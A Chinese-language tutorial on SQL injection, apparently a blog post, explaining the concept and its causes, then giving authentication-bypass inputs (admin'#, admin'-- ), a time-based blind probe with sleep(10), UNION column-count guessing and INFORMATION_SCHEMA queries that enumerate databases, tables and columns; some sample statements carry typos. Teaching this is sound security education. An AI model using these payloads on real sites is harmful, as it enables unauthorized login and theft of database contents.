一、SQL注入概念
  1、sql注入是一种将sql代码添加到输入参数中
  2、传递到sql服务器解析并执行的一种攻击手法
  举例:某个网站的用户名为name=‘admin’。执行时为select name from users where name=‘admin’
    则输入时输入name='' or '1=1'。实则数据库中执行的是select name from users where name='' or '1=1'则为真,用户名有效
二、SQL注入的产生
  1、web开发人员无法保证所有的输入都已经过滤
  2、攻击者利用发送给sql服务器的输入数据构造可执行的sql代码
  3、数据库未做相应的安全配置
  对于1和2两点,攻击者可以利用get请求、post请求、cookie信息、相应的http头信息等进行数据的输入而达到攻击的目的
三、寻找sql注入漏洞
  1、通过构造异常而引发异常,例如:只支持整型的地方输入特殊字符来引起sql异常
  2、通过get请求、post请求、cookie信息、相应的http头信息等查找敏感信息
  3、检测服务器中相应的异常
四、进行sql注入攻击
  1、数字注入。利用数据库中where判断语句中数字输入进行攻击。
    例如:select name from users where name='' or '1=1'。结果永远为true
  2、字符串注入。利用mysql的注释方法进行攻击
    a、#注释的方法。
      用户名的输入框中输入:admin'#,密码任意填写。
      在数据库中执行的是:select * from name='admin'#'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin
    b、-- hdka方法,两个横杠+空格+任意字符。在执行的时候空格后面的所有被当作注释处理
      用户名的输入框中输入:admin'-- ,密码任意填写。
      在数据库中执行的是:select * from name='admin'-- 'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin 
 
五、注入步骤

  1、找寻注入点

  输入一个单引号,如果报错说明语法错误则存在注入点
  执行的语句为:select xxx form xxx where x=‘‘’;

  如果单引号没有反应,可尝试盲注
  加时间进行尝试
  X' and sleep(10) --ss'

   sleep中的为时间,10即位10s
  如果浏览器显示在加载中说明可能存在注册点

  2、猜字段

  Sql中数字可以作为字段进行匹配
  因为使用union必须前后字段数量相同
  ' union select 1 -- '
  ' union select 1,2 -- '
  ' union select 1,2,3 -- '
  ...
  如果前面语句中只有两个字段,但是想要获取4个其他表中字段值,使用concat
  例:selcet id,name form user where = 输入框;
  注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'

  3、使用union获得其他表信息

  获得当前数据库及用户信息
  ' union select version(),database() --'

  数据库版本信息
  version()  
  获得当前数据库名
  database()  

  查询所有库名
  'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'  
  查询表名
  'union select table_name from INFORMATION_SCHEMA.tables --'
  查询表名及对应的库名
  'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'

  查询数据表中的列名
  'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'

SQL注入介绍的更多相关文章

  1. SQL注入 (1) SQL注入类型介绍

    SQL注入 SQL注入介绍与分类 1. 什么是sql注入 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 2. sql注入类型 按照注入 ...

  2. SQL注入科普

    技术交流,安全交友联系渔夫”小白“,微信号(xz116035) SQL注入介绍 SQL注入攻击是最为常见的Web应用安全漏洞之一,国外知名安全组织OWASP针对web应用安全漏洞进行了一个排名,SQL ...

  3. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  4. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  5. IIS安全工具UrlScan介绍 ASP.NET 两种超强SQL 注入免费解决方案( 基于IIS,使用免费工具) 批改或隐藏IIS7.5的Server头信息 移除X-Powered-By,MVC,ASP.NET_SessionId 的 HTTP头或者cookie名称

    微软给了我们一个很好的工具用来使IIS安全的运行-------UrlScan,下面是它的配置文件介绍 [options]UseAllowVerbs=1                ; 若为1,则使用 ...

  6. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  7. web安全之SQL注入--第一章 课程介绍

    课程介绍1.什么是SQL注入?2.如何寻找SQL注入漏洞?3.如何进行sql注入攻击?4.如何预防sql注入5.课程总结

  8. SQL注入与burPsuit工具介绍

    sql注入原理 原理:用户输入不可控,用户输入导致了sql语义发生了改变 用户输入不可控:网站不能控制普通用户的输入 sql语义发生变化: 动态网页介绍: 网站数据请求 脚本语言:解释类语言,如,后端 ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. druid的关键参数+数据库连接池运行原理

      minEvictableIdleTimeMillis :连接保持空闲而不被驱逐的最长存活时间.(默认30分钟) Destory线程中如果检测到当前连接的最后活跃时间和当前时间的差值大于minEvi ...

  2. Python Socket请求网站获取数据

     Python Socket请求网站获取数据 ---阻塞 I/O     ->收快递,快递如果不到,就干不了其他的活 ---非阻塞I/0 ->收快递,不断的去问,有没有送到,有没有送到,. ...

  3. Xamarin.Android SharedPreferences的使用方法

    SharedPreferences的本质是基于XML文件存储key-value键值对数据,通常用来存储一些简单的配置信息.其存储位置在/data/data/<包名>/shared_pref ...

  4. oracle无法启动asm实例记录

    首先查看asm进程ps aux|grep asmasm进程没起进行下面操作su - gridsrvctl start asmexit查看ora进程ps aux|grep oraora进程没起进行下面操 ...

  5. OkHttp3 任务队列

    OkHttp3 有两种运行方式: 1.同步阻塞调用并且直接返回: 2.通过内部线程池分发调度实现非阻塞的异步回调; 下面讲的是非阻塞异步回调,OkHttp在多并发网络下的分发调度过程,主要是Dispa ...

  6. 从零开始学 Web 之 DOM(四)节点

    大家好,这里是「 Daotin的梦呓 」从零开始学 Web 系列教程.此文首发于「 Daotin的梦呓 」公众号,欢迎大家订阅关注.在这里我会从 Web 前端零基础开始,一步步学习 Web 相关的知识 ...

  7. Debug EOS:nodeos + mongo_db_plugin

    上文书说到区块链的存储方式,并结合了EOSIO进行分析,其中也提到了使用CLion调试EOS的方法.本文将继续深入细致地展开对加载了mongo_db_plugin的nodeos的调试过程以及心得. 关 ...

  8. 【微收藏】FourShadows.js – 时间感知的算法驱动的图标阴影JS库

    废话一箩筐,筐筐有心得 不小心养成了一个刷微博的习惯,主要还是关注一些前端人士,学习一些前端方面的知识,看到大家都有一些刷微博的小习惯.有的是转发一下,转发内容来一个标记(MARK).也有评论中标记为 ...

  9. eclipse + maven搭建SSM框架

    0.系统环境 1)Windows 10 企业版 2)JDK 1.8.0_131 3)Eclipse Java EE IDE for Web Developers  Version: Neon.3 Re ...

  10. SqlServer 查看死锁的进程

    版权声明:本文为 走错路的程序员 原创文章,欢迎转载. https://blog.csdn.net/phker/article/details/78612974搞sqlsever 好多年, 从来没锁过 ...